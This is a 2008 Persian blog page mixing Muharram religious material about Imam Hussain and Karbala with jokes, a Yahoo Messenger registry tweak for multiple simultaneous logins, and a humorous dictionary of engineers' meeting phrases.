بخشش .

معرفي اماکن متبرکه :
بازار شام - بازاري در شهر دمشق كه نزديك مسجد جامع شهر بوده و بقاياي آن امروز به نام بازار حميديه معروف است . بازار شام از جمله مكان هايي بود كه اسراي كربلا را از ميان آن عبور دادند .

معرفي يک کتاب :
آشنايي با اسوه ها

( مسلم بن عقيل )

بانک صوتي :
زيارت عاشورا

دانلود فايل

ويژه نامه ماه محرم
گروه مارشال مدرن

 

از جمله اعمال مشترک ماه محرم :

روزه گرفتن در تمام ماه ، به جز عاشورا که ثواب اين روزه آمرزش تمام گناهان است.

- = وقايع امروز =-

ورود امام حسين عليه السلام به سرزمين كربلا.

امام حسين عليه السلام پس از آن كه با دعوت مردم كوفه و نامه هاى فراوان و پى در پى آنان روبرو شد، تصميم به هجرت از مكه به سوى كوفه گرفت .با اين كه برخى از آشنايان و بزرگان مدينه ، مانند محمد حنفيه ، عبدالله بن عباس ، عبدالله بن جعفر و عبدالله بن عمر، آن حضرت را از سفر به كوفه بر حذر كرده بودند و با دلايلى چند، تلاش كردند كه وى را منصرف كنند، با اين حال امام حسين عليه السلام سفر به كوفه را براى خويش تكليف فرض ‍ كرد و به آن اقدام نمود.امام حسين عليه السلام در روز ذى حجه سال 60 قمرى به قصد كوفه ، از مكه خارج گرديد. قافله امام حسين عليه السلام پس از رسيدن به سرزمين عراق ، در منزلگاه ( شراف ) با سپاه يكهزار نفرى حر بن يزيد رياحى كه از سوى عبيدالله بن زياد براى تعقيب و يا نبرد امام حسين عليه السلام ماءموريت يافته بود، مواجه گرديد و از آن پس ، مسير تاريخ به سوى ديگر كشيده شد.حر بن يزيد كه در پى نامه هاى روزانه عبيدالله ، امام حسين عليه السلام را كنترل كرده و در مراقبت كامل خويش داشت ، بنا به فرمان عبيدالله بن زياد، آن حضرت را از مسير اصلى به صحراى خشك و غير آباد كشانيد. تا اين كه در روز پنج شنبه ، دوم ماه محرم سال 61 قمرى در سرزمين كربلا، راه را بر امام حسين عليه السلام بست و از ادامه حركت آن حضرت ، ممانعت به عمل آورد. امام حسين عليه السلام همين كه متوجه شد، آن سرزمين ، كربلا است ، دستور داد آن جا خيمه گاه و منزلگاه دايمى خويش قرار دهند. چون آن حضرت پيش از اين از جدش محمد صلى الله عليه و آله و سلم و پدرش ‍ اميرمؤ منان عليه السلام شنيده بود كه محل شهادتش در كربلا است .

در باب ازدواج امام حسين (ع)

سپاه پيروزمند اسلام به شهر مدينه وارد شد، و اسيرانى گرانقدر همراه داشت در ميان آنها دختر يزدگرد شهريار ايران بود.پدر به سويى گريخته و دختر را گذارده و رفته بود،برادرانش به كشور چين پناه برده و خواهر را بى پناه گذارده بودند ولى اسلام پناه بى پناهيان بود و بزرگ ترين پناه را براى شاهزاده خانم بى پناه فراهم كرد.شهرزاد اسير همراه سربازان به درون مدينه قدم گذارد، خبر در مدينه پخش ‍ شد، دوشيزگان شهر به تماشا آمدند پاره اى از بام سر مى كشيدند تا دختر شاهنشاه ايران را ببيند، مردم مدينه در پى كاروان اسير به سوى مسجد روانه شدند تا ببينند شهرزاده خانم چه مى كند و عمر با او چگونه رفتار مى كند.خليفه با تنى چند از ياران رسول خدا صلى الله عليه و آله در مسجد نشسته بود كه كاروان به مسجد رسيد، سرپرست كاروان چنين گزارش داد: اين دختر يزگرد است كه اسير شده فاتح خراسان ما را فرمود كه به مدينه اش ‍ آورده تا خليفه سرنوشتش را معلوم سازد.شهرزاده را نزديك عمر نشانيدند. شهرزاده كه رنج سفر اسارت را كشيده بود و از آينده در بيم و هراس بود، به ناگاه ناله اى زد و گفت : بيروج باذ هرمز! عمر كه سخن او را دشنام پنداشت گفت : اين گبرزاده به ما بد مى گويد!حضرت على عليه السلام كه در آن مجلس حاضر بود گفت : نه چنين نيست به نياى خويش نفرين مى كند سپس سخن شهرزاده را براى عموم ترجمه كرده گفت : مى گويد روز هرمز سياه باد كه نواده اش اسر شده ؟!حضرت على عليه السلام از كجا زبان فارسى مى دانست و نزد چه كسى آموخته بود ؟!فرمان خليفه صادر شد: اين دختر و همراهانش را مانند ديگر اسيران به فروش برسانيد باز هم على عليه السلام به سخن آمد: اين كار شايسته نيست.عمر پرسيد : با اين دختر چگونه رفتار كنيم ؟حضرت على عليه السلام : به نظر خود دختر واگذاريد، هر كه را بپسندد، براى همسرى برگزيند.شهرزاده به اطراف نگاهى كرد و يكايك حاضران را در نظر آورد، به هر چهره اى مى نگريست و از او مى گذشت همه حاضران را يك يك نگاه مى كرد، حاضران دسته جمعى مى نگريستند كه ديدند نگاه گذراى شاهزاده اسير بر چهره جوانى بايستاد و گذر نكرد، جوانى كه بيش از هجده بهار از عمرش نگذشته بود، رخسار زيبايش همچون خورشيد مى درخشيد .سكوت عميقى سرتاسر مجلس را فرا گرفت ، همگى به دختر مى نگريستند و دختر به پسر مى نگريست و با خود مى انديشيد كه آرام جانم را يافتم ، آرامش قلبم را پيدا كردم آيا ممكن است كه اين پسر دخترى اسير را بپذيرد؟! مردان از زنان خواستگارى مى كنند، ولى اگر من از او خواستگارى كنم ، اميد مرا نااميد نخواهد كرد، باز هم به چهره جوان نگريست ، با خود گفت چهره اش چهره اميد است و رخسارش رخساره نويد، دست رد به سينه ام نخواهد گذارد، پس به خود قدرتى داد و از جاى برخاست و به سوى جوان رفت . صداى احسنت و آفرين از مجلسيان برخاست ، تماشاچيان ، ديدند كه شهرزاد پيغمبر زاده اى را برگزيد امام حسين عليه السلام تقاضاى دختر اسير را پذيرفت و وى را همسر خود قرار داد.شهر بانو براى امام حسين پسرى بياورد كه تنها يادگار امام حسين بود، خليفه امام حسين بود و نسل امام حسين از وى به جاى ماند اين پسر امام چهارم ،امام زين العابدين عليه السلام بود كه على نام داشت شهر بانو در عمر كوتاه خود به وفادارى با امام حسين پرداخت ، عمر امام حسين هر چند كوتاه بود، ولى عمر، شهربانو كوتاه تر بود، شهربانو كه پسر بزاد ، و امام حسين دومى به جهان بشريت تقدم داشت خود، جهان را بدرود گفت ، و همسر بزرگ خود را در سوك خود نشانيد شهرزاده ناز پرود بود و قدرت نداشت كه مصيبت جانگداز شوهر عزيزش را ببيند، به زودى از اين جهان سفر كرد، تا در آن جهان ، خانه را آب و جارو كرده به انتظار شويش بنشيند تاريخ نشان نمى دهد كه دوران انتظار چقدر طول كشيد، ولى آنچه قطعى است روزى انتظار به سر آمد و فراق پايان يافت ، همان روزى كه امام حسين عليه السلام افسر شهادت را به سر نهار و پيشواى شهيدان گرديد.

امام صادق (ع) فرمود :

... به ديدار يکديگر برويد زيرا اين ديد و بازديد ها موجب زنده شدن دل هاي شما و بازگو کردن و يادآوري حديث هاي ماست ، حديث ها و سخنان ما ، باعث همبستگي و مهرباني بيش تر بين برخي از شما با برخي ديگر خواهد شد. اگر سخنان ما را پذيرفتيد و به کار گرفتيد ، هدايت مي شويد و نجات مي يابيد ، و اگر سخنان ما را رها کرديد ، گمراه مي گرديد و هلاک مي شويد ، بنابراين شما احاديث و سخنان ما را بپذيريد و به کار ببنديد ، من نيز ضامن و عهده دار نجات شما مي باشم.

محرم در ديگر کشورها : عاشورا در آلمان ...

هر ساله مراسم عاشورا در مركز اسلامي هامبورگ با شركت عده كثيري كه شمار‌آن‌ها دو هزار نفر مي‌رسد برگذار مي‌گردد. عده كثيري فقط به عشق امام حسين(ع) و اهل بيت ، روز تاسوعا و عاشورا در مركز اسلامي هامبورگ حاضر مي‌شوند. در روزهاي تاسوعا و عاشورا در مركز اسلامي اغلب مراسم با سخنراني و در آخر عزاداري و سينه زني برگذار مي‌گردد و كم‌تر به خرافات آميخته‌است. در اين روزها خواهران و برادران مسلمان شيعه از شهرهاي اطراف نيز تا 400 كيلومتري در اين برنامه ها شركت مي‌كنند و بعضي از آنها تا صبح در مسجد عزاداري مي‌كنند. قابل ذكر است كه در روز عاشوراي حسيني بعد از زيارت عاشورا و عزاداري، از جمعي در حدود دو هزار نفر پذيرايي به عمل مي‌آيد كه‌كليه هزينه آن را تجار پرداخت مي‌كنند در ضمن سالن مراجعات با پارچه هاي سياه و اطلاعيه مربوط مزين مي‌شود. در تمام مدت برنامه‌هاي سوگواري و قرآن به صورت نوار پخش مي‌شود.

حديث روز :
حديث شماره دو

امام حسين عليه السلام:

چه‌ دارد آن‌ كس‌ كه‌ تو را ندارد؟ و چه‌ ندارد آن‌ كه‌ تو را دارد؟ آن‌ كس‌ كه‌ به‌ جاى‌تو چيز ديگرى‌ را پسندد و به‌ آن‌ راضى‌ شود، مسلما زيان‌ كرده‌ است‌.

آشنايي با القاب آن امام :
ابوالشهداء :

پدر شهيدان، كنيه‌اي كه بر شهيدان اطلاق مي‌شود. از آن جا كه امام حسين (ع) الهام بخش شهيدان راه حق بود و كربلا يش دانشگاه شهادت محسوب مي‌شد.و مي‌شود، به آن حضرت اين عنوان را داده‌اند.

  عاشورا از نگاه انديشمندان جهان :
محمد علي جناح (قائد اعظم پاكستان): هيچ نمونه‌اي از شجاعت، بهتر از آنكه امام حسين از لحاظ فداكاري و تهور نشان داد در عالم پيدا نمي‌شود. به عقيده من تمام مسلمين بايد از سرمشق اين شهيدي كه خود را در سرزمين عراق قربان كرد پيروي نمايد.

کمي از انتظار :
اي كه هزار، هزار شمع در انتظار يك نگاه تو سوختند . شوري است عشق تو و دلنشين غمي است به انتظار قدم‌‌هايت زيستن، بدان كه مصراع زندگيم با قافيه تو پايان خواهد يافت. بيا كه اگر تو بيايي تمامي شب‌هاي يلداي غم سپيده صبح را مهمان هميشگي دلم خواهد كرد... نمي‌دانم آيا دل كوچكم تا ظهور تو در تكاپو است يا تا غروب آرزوهايش چيزي نمانده.... اما ... غمگين‌ام و مي‌ترسم كه دلم از جنب و جوش بيافتد و تو نيايي.... افسوس، من و كلمات مجنونم شايد روز آمدنت را نبينيم من به همه كساني كه آن روز تو را مي‌بينند و در دو سوي خيابان‌ها قلبهاي سبزشان را به تو هديه مي‌دهند، حسوديم مي‌شود.

معرفي اماکن متبرکه :
تل زينبيه

تل به معناي تپه، توده خاك و ريگ است. سرزمين كربلا، ناهموار و داراي تل و تپه بوده است. در حادثه كربلا تپه‌اي مشرف بر محل شهادت شهداي كربلا وجود داشته كه حضرت زينب (س) بالاي آن مي‌آمدند تا وضعيت برادر عزيزشان حضرت امام حسين (ع) را در ميدان نبرد بررسي كنند.

معرفي يک کتاب :
آشنايي با اسوه ها

( حبيب بن مظاهر )

بانک صوتي :
زيارت عاشورا

دانلود فايل

ويژه نامه ماه محرم
گروه مارشال مدرن

gwmorteza@yahoo.com

مرتضي...

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:6  توسط سید حسین محمدی | 

 دختر ها و پسر ها چگونه نيمرو درست مي کنند  

 

 دخترها

توي ماهيتابه روغن ميريزن
اجاق گاز زير ماهيتابه رو روشن ميكنن
- تخم مرغها رو ميشكنن و همراه نمك توي ماهيتابه ميريزن
چند دقيقه بعد نيمروي آماده رو نوش جان ميكنن

                     ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

 
پسرها

 
توي كابينتهاي بالايي آشپزخونه دنبال ماهيتابه ميگردن
توي كابينتهاي پاييني دنبال ماهيتابه ميگردن و بلاخره پيداش ميكنن
ماهيتابه رو روي اجاق گاز ميذارن
توي ماهيتابه روغن ميريزن
توي يخچال دنبال تخم مرغ ميگردن
يه دونه تخم مرغ پيدا ميكنن
چند تا فحش ميدن
دنبال كبريت ميگردن
با فندك اجاق گاز رو روشن ميكنن و بوي سركه همراه دود آشپزخونه رو بر ميداره
ماهيتابه رو ميشورن (بگو چرا روغنش بوي ترشي ميداد!
ماهيتابه رو روي اجاق گاز ميذارن و توش روغن واقعي ميريزن
تخم مرغي كه از روي كابينت سر خورده و كف آشپزخونه پهن شده رو با دستمال پاك ميكنن
چند تا فحش ميدن و لباس ميپوشن
ميرن سراغ بقالي سر كوچه و 20 تا تخم مرغ ميخرن و برميگردن
تلويزيون رو روشن ميكنن و صداش رو بلند ميكنن
روغن سوخته رو ميريزن توي سطل و دوباره روغن توي ماهيتابه ميريزن
تخم مرغها رو ميشكنن و توي ماهيتابه ميريزن
دنبال نمكدون ميگردن
نمكدون خالي رو پيدا ميكنن و چند تا فحش ميدن
دنبال كيسهء نمك ميگردن و بلاخره پيداش ميكنن
نمكدون رو پر از نمك ميكنن
صداي گزارشگر فوتبال رو ميشنون و ميدون جلوي تلويزيون
نمكدون رو روي ميز ميذارن و محو تماشاي فوتبال ميشن
بوي سوختگي رو استشمام ميكنن و ميدون توي آشپزخونه
چند تا فحش ميدن و تخم مرغهاي سوخته رو توي سطل ميريزن
توي ماهيتابه روغن و تخم مرغ ميريزن
با چنگال فلزي تخم مرغها رو هم ميزنن
صداي گــــــــــل رو از گزارشگر فوتبال ميشنون و ميدون جلوي تلويزيون
سريع برميگردن توي آشپزخونه
تخم مرغهايي كه با ذرات تفلون كنده شده توسط چنگال مخلوط شده رو توي سطل ميريزن
ماهيتابه رو ميندازن توي سينك
دنبال ظرفهاي مسي ميگردن
قابلمهء مسي رو روي اجاق گاز ميذارن و توش روغن و تخم مرغ ميريزن
چند دقيقه به تخم مرغها زل ميزنن
ياد نمك ميفتن و ميرن نمكدون رو از كنار تلويزيون برميدارن
چند ثانيه فوتبال تماشا ميكنن
ياد غذا ميفتن و ميدون توي آشپزخونه
روي باقيماندهء تخم مرغي كه كف آشپزخونه پهن شده بود ليز ميخورن
چند تا فحش ميدن و بلند ميشن
نمكدون شكسته رو توي سطل ميندازن
قابلمه رو برميدارن و بلافاصله ولش ميكنن
چند تا فحش ميدن و انگشتهاشون كه سوخته رو زير آب ميگيرن
با يه پارچهء تنظيف قابلمه رو برميدارن
پارچه رو كه توسط شعله آتيش گرفته زير پاشون خاموش ميكنن
نيمروي آماده رو جلوي تلويزيون ميخورن و چند تا فحش ميدن!!!
 
 

 

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:6  توسط سید حسین محمدی | 
وارد شدن همزمان با چندين ID متفاوت در Yahoo Messenger بدون

استفاده از نرم افزار

 

در اين ترفند شما ميتوانيد بدون استفاده از هيچ نرم افزاري به طور همزمان چندين Yahoo Messenger را باز کرده و در هر کدام با يک ID متفاوت وارد شويد. (اين ترفند براي تمام نسخه ها و آخرين نسخه که 9 ميباشد جواب ميدهد)

1 - از منوي Start پنجره ي Run را باز کرده و regedit را تايپ کنيد

2 - در پنجره باز شده از سمت چپ به قسمت زير برويد:

HKEY_CURRENT_ USER --------> Software --->yahoo ----->pager----

>Test

3 - در سمت راست در جاي خالي right click کرده و new Dword value را انتخاب کنيد

4 - و نام آن را Plural بگذاريد

5 - روي آن Double click کرده و مقدار 1 را بدهيد و Decimal را انتخاب کرده

 Ok کنيد و از Registry Editor خارج شويد

کار با موفقيت انجام شد و حال ميتوانيد يک ياهو مسنجر را باز کرده و با يکي از ID هاي خودتان وارد شويد و بعد ياهو مسنجر ديگري باز کنيد و با ID ديگري وارد شيد.

 

توجه : قبل از login کردن ياهو مسنجر ديگري را باز نکنيد

 

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:5  توسط سید حسین محمدی | 
لغت نامه مهندسين در جلسات كارفرما

1.      اين بستگى دارد به ...... يعنى: جواب سوال شما را نمى دانم!

2.       اين موضوع پس از روزها تحقيق و بررسى فهميده شد. يعنى: اين موضوع را بطور تصادفى فهميدم!

3.       نحوه عمل دستگاه بسيار جالب است. يعنى: دستگاه كار مى كند و اين براى ما تعجب انگيز است!

4.      كاملا انجام شده يعنى: راجع به 10 درصد كار تنها برنامه ريزى شده !

5.      ما تصحيحاتى روى سيستم انجام داديم تا آن را ارتقا دهيم. يعنى: تمام طراحى ما اشتباه بوده و ما از اول شروع كرده ايم!

6.      پروژه بدليل بعضى مشكلات ديده نشده، كمى از برنامه ريزى عقب است. يعنى: تاكنون روى پروژه ديگرى كار مى كرديم!

7.      ما پيشگويى مى كنيم..... يعنى: 90 درصد احتمال خطا مى رود!

8.      اين موضوع در مدارك علمى تعريف نشده. يعنى: تاكنون كسى از اعضا تيم پروژه به اين موضوع فكر نكرده است!

9.      پروژه طورى طراحى شده كه كاملا سيستم بدون نقص كار مى كند. يعنى: هرگونه مشكلات بعدى ناشى از عملكرد غلط اپراتورها ست!

10.  تمام انتخاب اوليه به كنار گذاشته شد. يعنى: تنها فردى كه اين موضوع را مى فهميد از تيم خارج شده است!

11.  كل كوشش ما براى اينست كه مشترى راضى شود. يعنى: ما آنقدر از زمان بندى عقبيم كه هر چه كه به مشترى بدهيم راضى مى شود!

12. تحويل پروژه براى فصل آخر سال آينده پيش بينى شده است. يعنى: كه تا آن زمان ما مى توانيم مقصر تاخير در اجراى پروژه را كسى از ميان تيم كارفرما پيدا كنيم!

13.  روى چند انتخاب بطور همزمان در حال كار هستيم. يعنى: هنوز تصميم نگرفته ايم چه كنيم!

14.  تا چند دقيقه ديگر به اين موضوع مى رسيم. يعنى: فراموشش كنيد، الان به اندازه كافى مشكل داريم!

15.  حالا ما آماده ايم صحبتهاى شما را بشنويم. يعنى: شما هر چه مى خواهيد صحبت كنيد كه البته تاثيرى در كارى كه ما انجام خواهيم داد ندارد!

16.  بعلت اهميت تئورى و عملى اين موضوع...... يعنى: بعلت علاقه من به اين موضوع!

17. سه نمونه جهت مطالعه شما انتخاب شده و آورده شده اند. يعنى: طبيعتا بقيه نمونه ها واجد مشخصاتى كه شما بايد بعد از مطالعه به آن برسيد،‌ نبوده اند!

18.  بقيه نتايج در گزارش بعدى ارائه مى شود. يعنى: بقيه نتايج را تا فشار نياوريد نخواهيم داد!

19.  ثابت شده كه .... يعنى: من فكر مى كنم كه .....!

20.  اين صحبت شما تا اندازه اى صحيح است. يعنى:از نظر من صحبت شما مطلقا غلط است!

21.  در اين مورد طبق استاندارد عمل خواهيم كرد. يعنى: ازجزئيات كار اصلا اطلاع نداريد!

 

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:5  توسط سید حسین محمدی | 
چند نکته و نتيجه اخلاقي
درس اول :

يه روز مسوول فروش ، منشي دفتر ، و مدير شرکت براي ناهار به سمت سلف قدم مي زدند…

يهو يه چراغ جادو روي زمين پيدا مي کنن و روي اون رو مالش ميدن و جن چراغ ظاهر ميشه…

جن ميگه: من براي هر کدوم از شما يک آرزو برآورده مي کنم…

منشي مي پره جلو و ميگه: اول من ، اول من!

 من مي خوام که توي باهاماس باشم ، سوار يه قايق بادباني شيک باشم و هيچ نگراني و غمي از دنيا نداشته باشم !

پوووف! منشي ناپديد ميشه ...

! بعد مسوول فروش مي پره جلو و ميگه: حالا من ، حالا من

 من مي خوام توي هاوايي کنار ساحل لم بدم ، يه ماساژور شخصي و يه منبع بي انتهاي نوشيدني ! داشته باشم و تمام عمرم حال کنم ...

 پوووف! مسوول فروش هم ناپديد ميشه…

بعد جن به مدير ميگه: حالا نوبت توئه…

مدير ميگه: من مي خوام که اون دو تا هر دوشون بعد از ناهار توي شرکت باشن !!!

نتيجه : اخلاقي اينکه هميشه اجازه بده که رئيست اول صحبت کنه !

 

درس دوم :

يه روز يه کشيش به يه راهبه پيشنهاد مي کنه که با ماشين برسوندش به مقصدش…

راهبه سوار ميشه و راه ميفتن…

چند دقيقه بعد راهبه پاهاش رو روي هم ميندازه و کشيش زير چشمي يه نگاهي به پاي راهبه ميندازه…

راهبه ميگه: پدر روحاني ، روايت مقدس ??? رو به خاطر بيار… !

کشيش قرمز ميشه و به جاده خيره ميشه...

 چند دقيقه بعد بازم شيطون وارد عمل ميشه و کشيش موقع عوض کردن دنده ، بازوش رو با پاي راهبه تماس ميده…!

راهبه باز ميگه: پدر روحاني! روايت مقدس ??? رو به خاطر بيار!!!

کشيش زير لب يه فحش ميده و بيخيال ميشه و راهبه رو به مقصدش مي رسونه…

بعد از اينکه کشيش به کليسا بر مي گرده سريع ميدوه و از توي کتاب روايت مقدس ??? رو پيدا مي کنه و مي بينه که نوشته: به پيش برو و عمل خود را پيگيري کن… کار خود را ادامه بده و بدان که به جلال و شادماني که مي خواهي ميرسي !!!

نتيجه اخلاقي اينکه اگه توي شغلت از اطلاعات شغلي خودت کاملا آگاه نباشي، فرصتهاي بزرگي رو از دست ميدي!!!

 

 

درس سوم :

بلافاصله بعد از اينکه زن پيتر از زير دوش حمام بيرون اومد پيتر وارد حمام شد

همون موقع زنگ در خونه به صدا در اومد

زن پيتر يه حوله دور خودش پيچيد و رفت تا در رو باز کنه…

همسايه شون -رابرت- پشت در ايستاده بود

تا رابرت زن پيتر رو ديد گفت: همين الان ???? دلار بهت ميدم اگه اون حوله رو بندازي زمين!

بعد از چند لحظه ، زن پيتر حوله رو ميندازه و رابرت چند ثانيه تماشا مي کنه و ???? دلار به زن پيتر ميده و ميره…!

زن دوباره حوله رو دور خودش پيچيد و برگشت

پيتر پرسيد: کي بود زنگ زد؟ زن جواب داد: رابرت همسايه مون بود…

پيتر گفت: خوبه… چيزي در مورد ???? دلاري که به من بدهکار بود گفت؟!!

نتيجه اخلاقي: اگه شما اطلاعات حساس مشترک با کسي داريد که به اعتبار و آبرو مربوط ميشه ، هميشه بايد در وضعيتي باشيد که بتونيد از اتفاقات قابل اجتناب جلوگيري کنيد !!!

 

درس چهارم :

 

 من خيلي خوشحال بودم !

من و نامزدم قرار ازدواجمون رو گذاشته بوديم  والدينم خيلي کمکم کردند  دوستانم خيلي تشويقم کردند و نامزدم هم دختر فوق العاده اي بود…

فقط يه چيز من رو يه کم نگران مي کرد و اون هم خواهر نامزدم بود…!

اون دختر باحال ، زيبا و جذابي بود که گاهي اوقات بي پروا با من شوخي هاي ناجوري مي کرد و باعث مي شد که من احساس راحتي نداشته باشم…

يه روز خواهر نامزدم با من تماس گرفت و از من خواست که برم خونه شون براي انتخاب مدعوين عروسي !

سوار ماشينم شدم و وقتي رفتم اونجا اون تنها بود و بلافاصله رک و راست به من گفت :

اگه همين الان ??? دلار به من بدي بعدش حاضرم با تو …………….!

من شوکه شده بودم و نمي تونستم حرف بزنم…

اون گفت: من ميرم توي اتاق خواب و اگه تو مايل به اين کار هستي بيا پيشم…

وقتي که داشت از پله ها بالا مي رفت من بهش خيره شده بودم و بعد از رفتنش چند دقيقه ايستادم و بعد به طرف در ساختمون برگشتم و از خونه خارج شدم…!

يهو با چهره نامزدم و چشمهاي اشک آلود پدر نامزدم مواجه شدم!!!

پدر نامزدم من رو در آغوش گرفت و گفت: تو از امتحان ما موفق بيرون اومدي…!

ما خيلي خوشحاليم که چنين دامادي داريم  و هيچکس بهتر از تو نمي تونستيم براي دخترمون پيدا کنيم به خانوادهء ما خوش اومدي !!!

نتيجه اخلاقي: هميشه کيف پولتون رو توي داشبورد ماشينتون بذاريد !!!

 

 

درس پنجم :

 يه شب خانم خونه به خونه بر نميگرده و تا صبح پيداش نميشه!

صبح بر ميگرده خونه و به شوهرش ميگه كه ديشب مجبور شده خونه يكي از دوستهاي صميميش (مونث) بمونه...

شوهر بر ميداره به ?? تا از صميمي ترين دوستهاي زنش زنگ ميزنه ولي هيچكدومشون حرف خانم خونه رو تاييد نميكنن!

يه شب آقاي خونه تا صبح برنميگرده خونه. صبح وقتي مياد به زنش ميگه كه ديشب مجبور شده خونه يكي از دوستهاي صميميش (مذكر) بمونه...

خانم خونه بر ميداره به ?? تا از صميمي ترين دوستهاي شوهرش زنگ ميزنه : ?? تاشون تاييد ميكنن كه آقا تمام شب رو خونهء اونا مونده! ? تاي ديگه حتي ميگن كه آقا هنوزم خونه اونا پيش اوناست !!!

نتيجه اخلاقي: يادتون باشه كه مردها دوستهاي بهتري هستند !

 

 

درس ششم :

 چهار تا دوست كه ?? سال بود همديگه رو نديده بودند توي يه مهموني همديگه رو مي بينن و شروع مي كنن در مورد زندگي هاشون براي همديگه تعريف كنن...

بعد از مدتي يكي از اونا بلند ميشه ميره دستشويي. سه تاي ديگه صحبت رو مي كشونن به تعريف از فرزندانشون :
اولي: پسر من باعث افتخار و خوشحالي منه. اون توي يه كار عالي وارد شد و خيلي سريع پيشرفت كرد.

پسرم درس اقتصاد خوند و توي يه شركت بزرگ استخدام شد و پله هاي ترقي رو سريع بالا رفت و حالا شده معاون رئيس و اونقدر پولدار شده كه حتي براي تولد بهترين دوستش يه مرسدس بنز بهش هديه داد !
دومي: جالبه. پسر من هم مايه افتخار و سرفرازي منه. توي يه شركت هواپيمايي مشغول به كار شد و بعد دوره خلباني گذروند و سهامدار شركت شد و الان اكثر سهام اون شركت رو تصاحب كرده. پسرم اونقدر پولدار شد كه براي تولد صميميترين دوستش يه هواپيماي خصوصي بهش هديه داد !!!
سومي: خيلي خوبه. پسر من هم باعث افتخار من شده ...

اون توي بهترين دانشگاههاي جهان درس خوند و يه مهندس فوق العاده شد. الان يه شركت ساختماني بزرگ براي خودش تاسيس كرده و ميليونر شده. پسرم اونقدر وضعش خوبه كه براي تولد بهترين دوستش يه ويلاي ???? متري بهش هديه داد!


هر سه تا دوست داشتند به همديگه تبريك مي گفتند كه دوست چهارم برگشت سر ميز و پرسيد اين تبريكات به خاطر چيه؟!

 سه تاي ديگه گفتند: ما در مورد پسرهامون كه باعث غرور و سربلندي ما شدن صحبت كرديم راستي تو در مورد فرزندت چي داري تعريف كني؟!
چهارمي گفت: دختر من رقاص کاباره شده و شبها با دوستاش توي يه كلوپ مخصوص كار ميكنه!

سه تاي ديگه گفتند: اوه مايه خجالته چه افتضاحي !!!

 دوست چهارم گفت: نه! من ازش ناراضي نيستم. اون دختر منه و من دوستش دارم. در ضمن زندگي بدي هم نداره.

اتفاقا همين دو هفته پيش به مناسبت تولدش از سه تا از صميمي ترين دوست پسراش يه مرسدس بنز و يه هواپيماي خصوصي و يه ويلاي ???? متري هديه گرفت !!!

نتيجه اخلاقي: هيچوقت به چيزي كه كاملا در موردش مطمئن نيستي افتخار نكن !!!

 

 

درس هفتم :

توي اتاق رختكن كلوپ گلف ، وقتي همه آقايون جمع بودند يهو يه موبايل روي يه نيمكت شروع ميكنه به زنگ زدن.

مردي كه نزديك موبايل نشسته بود دكمه اسپيكر موبايل رو فشار ميده و شروع مي كنه به صحبت.

بقيه آقايون هم مشغول گوش كردن به اين مكالمه ميشن ...
مرد: الو؟
صداي زن اونطرف خط: الو سلام عزيزم. تو هنوز توي كلوپ هستي؟
مرد: آره !

زن: من توي فروشگاه بزرگ هستم

 اينجا يه كت چرمي خوشگل ديدم كه فقط ???? دلاره! اشكالي نداره اگه بخرمش؟

مرد : نه. اگه اونقدر دوستش داري اشكالي نداره!
زن: من يه سري هم به نمايشگاه مرسدس بنز زدم و مدلهاي جديد ???? رو ديدم. يكيشون خيلي قشنگ بود قيمتش ?????? دلار بود !
مرد: باشه. ولي با اين قيمت سعي كن ماشين رو با تمام امكانات جانبي بخري !
زن: عاليه. اوه  يه چيز ديگه  اون خونه اي رو كه قبلا ميخواستيم بخريم دوباره توي بنگاه گذاشتن براي فروش. ميگن ?????? دلاره
مرد: خب… برو تا فروخته نشده پولشو بده. ولي سعي كن ?????? دلار بيشتر ندي !!!
زن: خيلي خوبه. بعدا مي بينمت عزيزم. خداحافظ
مرد: خداحافظ
بعدش مرد يه نگاهي به آقايوني كه با حسرت نگاهش ميكردن ميندازه و ميگه: كسي نميدونه كه اين موبايل مال كيه ؟!

نتيجه اخلاقي: هيچوقت موبايلتونو جايي جا نذارين !!!

 

 

درس هشتم :

يه زوج ?? ساله به مناسبت سي و پنجمين سالگرد ازدواجشون رفته بودند بيرون كه يه جشن كوچيك دو نفره بگيرن.

وقتي توي پارك زير يه درخت نشسته بودند يهو يه فرشته كوچيك خوشگل جلوشون ظاهر شد و گفت: چون شما هميشه يه زوج فوق العاده بودين و تمام مدت به همديگه وفادار بودين من براي هر كدوم از شما يه دونه آرزو برآورده ميكنم!
زن از خوشحالي پريد بالا و گفت:

! چه عالي! من ميخوام همراه شوهرم به يه سفر دور دنيا بريم

فرشته چوب جادوييش رو تكون داد و پوف! دو تا بليط درجه اول براي بهترين تور مسافرتي دور دنيا توي دستهاي زن ظاهر شد !
حالا نوبت شوهر بود كه آرزو كنه .

 مرد چند لحظه فكر كرد و گفت:

… اين خيلي رمانتيكه ولي چنين بخت و شانسي فقط يه بار توي زندگي آدم پيش مياد

! بنابراين خيلي متاسفم عزيزم آرزوي من اينه كه يه همسري داشته باشم كه ?? سال از من كوچيكتر باشه
زن و فرشته جا خوردند و خيلي دلخور شدند. ولي آرزو آرزوئه و بايد برآورده بشه.

فرشته چوب جادوييش رو تكون داد و پوف! مرد ?? سالش شد !!!

نتيجه اخلاقي: مردها ممكنه زرنگ و بدجنس باشند ، ولي فرشته ها زن هستند !!!

 

 

درس نهم :

: يه مرد ?? ساله ميره براي چك آپ. دكتر ازش در مورد وضعيت فعليش مي پرسه و پيرمرد با غرور جواب ميده
هيچوقت به اين خوبي نبودم. تازگيا با يه دختر ?? ساله ازدواج كردم و حالا باردار شده و كم كم داره موقع زايمانش ميرسه

نظرت چيه دكتر؟!
دكتر چند لحظه فكر ميكنه و ميگه: خب  بذار يه داستان برات تعريف كنم. من يه نفر رو مي شناسم كه شكارچي ماهريه.

اون هيچوقت تابستونا رو براي شكار كردن از دست نميده. يه روز كه مي خواسته بره شكار از بس عجله داشته اشتباهي چترش رو به جاي تفنگش بر ميداره و ميره توي جنگل!

همينطور كه ميرفته جلو يهو از پشت درختها يه پلنگ وحشي ظاهر ميشه و مياد به طرفش شكارچي چتر رو مي گيره به طرف پلنگ و نشونه مي گيره و ….. بنگ! پلنگ كشته ميشه و ميفته روي زمين!!!
پيرمرد با حيرت ميگه: اين امكان نداره! حتما يه نفر ديگه پلنگ رو با تير زده!
دكتر يه لبخند ميزنه و ميگه: دقيقا منظور منم همين بود !!!

